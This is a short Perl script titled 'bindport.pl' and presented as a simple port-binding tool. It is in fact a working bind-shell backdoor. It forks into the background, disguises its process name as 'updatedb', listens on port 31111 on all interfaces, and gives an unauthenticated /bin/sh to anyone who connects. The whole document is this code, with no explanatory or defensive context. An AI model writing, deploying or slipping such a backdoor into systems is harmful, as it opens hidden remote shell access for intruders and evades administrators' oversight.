Simple Binding of port: bindport.pl

#!/usr/bin/perl

$port = 31111;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
    accept(X, S);
    unless(fork)
    {
        open STDIN, "<&X";
        open STDOUT, ">&X";
        open STDERR, ">&X";
        close X;
        exec("/bin/sh");
    }
    close X;
}